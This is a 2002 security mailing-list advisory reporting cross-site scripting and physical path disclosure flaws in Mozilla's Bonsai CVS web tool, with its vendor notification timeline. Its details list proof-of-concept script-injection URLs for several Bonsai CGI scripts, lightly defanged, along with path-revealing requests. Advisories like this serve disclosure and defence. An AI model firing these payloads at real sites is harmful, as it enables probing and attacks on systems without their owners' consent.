[UNIX] Bonsai XSS and Physical Path Revealing Vulnerabilities

From: support@securiteam.com
Date: 08/20/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Tue, 20 Aug 2002 09:05:12 +0200 (CEST)

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  Bonsai XSS and Physical Path Revealing Vulnerabilities
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SUMMARY

 <http://www.mozilla.org/bonsai.html> Bonsai is a tool that lets you
perform queries on the contents of a CVS archive. The product has been
found to contain multiple cross-site scripting vulnerabilities, and to
contain a vulnerability that would allow an attacker to reveal the
physical path of the Bonsai scripts.

DETAILS

CSS Problems:
/webtools/bonsai/cvslog.cgi?file=*&rev=&root=<scr!pt>alert(document.domain)</script>
/webtools/bonsai/cvslog.cgi?file=<scr!pt>alert(document.domain)</script>
/webtools/bonsai/cvsblame.cgi?file=/index.html&root=<scr!pt>alert(document.domain)</script>
/webtools/bonsai/cvsblame.cgi?file=<scr!pt>alert(document.domain)</script>
/cvsquery.cgi?branch=<scr!pt>alert(document.domain)</script>&file=<scr!pt>alert(document.domain)</script>&date=<scr!pt>alert(document.domain)</script>
/cvsquery.cgi?module=<scr!pt>alert(document.domain)</script>&branch=&dir=&file=&who=<scr!pt>alert(document.domain)</script>&sortby=Date&hours=2&date=week
/showcheckins.cgi?person=<scr!pt>alert(document.domain)</script>
/cvsqueryform.cgi?cvsroot=/cvsroot&module=<scr!pt>alert(document.domain)</script>&branch=HEAD

(NOTE, the letter I has been replaced with an !)

Physical Path Revealing and CSS:
/bonsai/cvslog.cgi?file=/index.html&rev=<scr!pt>alert(document.domain)</script>&root=/cvsroot/

Physical Path Revealing only:
/bonsai/cvsview2.cgi
/bonsai/multidiff.cgi

As you can see there are many ways to display the problems although many
are related to error output subroutines and just some subroutines in
general which do not properly filter input. The physical paths are
revealed in some instances because of perl error messages (it appears)
being thrown directly onto the webpage thus revealing physical paths.

Vendor notification:
Notification of the vulnerability was sent to the Mozilla team on August
5, 2002. After receiving no response on the matter, Stan Bubrouski sent
another message on August 7 and Stan Bubrouski received a brief response
from someone the same day. The problem still exists on mozilla.org and no
changes have been made to Bonsai CVS to this very day. The fix seems
simple, but since Stan Bubrouski did not have a system to test with he
could not offer any solution.

ADDITIONAL INFORMATION

The information has been provided by <mailto:stan@ccs.neu.edu> Stan
Bubrouski.

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